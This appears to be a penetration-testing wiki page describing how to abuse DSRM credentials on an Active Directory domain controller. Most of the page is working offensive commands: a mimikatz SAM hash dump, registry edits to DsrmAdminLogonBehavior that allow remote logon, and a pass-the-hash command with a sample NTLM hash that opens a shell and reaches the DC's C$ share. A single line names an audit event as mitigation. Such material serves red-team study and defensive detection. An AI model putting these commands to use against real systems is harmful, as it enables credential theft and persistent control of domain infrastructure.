# DSRM Credentials

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## DSRM Credentials

There is a **local administrator** account inside each **DC**. Having admin privileges in this machine you can use mimikatz to **dump the local Administrator hash**. Then, modifying a registry to **activate this password** so you can remotely access to this local Administrator user.\
First we need to **dump** the **hash** of the **local Administrator** user inside the DC:

```bash
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'
```

Then we need to check if that account will work, and if the registry key has the value "0" or it doesn't exist you need to **set it to "2"**:

```bash
Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior #Check if the key exists and get the value
New-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2 -PropertyType DWORD #Create key with value "2" if it doesn't exist
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2  #Change value to "2"
```

Then, using a PTH you can **list the content of C$ or even obtain a shell**. Notice that for creating a new powershell session with that hash in memory (for the PTH) **the "domain" used is just the name of the DC machine:**

```bash
sekurlsa::pth /domain:dc-host-name /user:Administrator /ntlm:b629ad5753f4c441e3af31c97fad8973 /run:powershell.exe
#And in new spawned powershell you now can access via NTLM the content of C$
ls \\dc-host-name\C$
```

More info about this in: <https://adsecurity.org/?p=1714> and <https://adsecurity.org/?p=1785>

### Mitigation

* Event ID 4657 - Audit creation/change of `HKLM:\System\CurrentControlSet\Control\Lsa DsrmAdminLogonBehavior`

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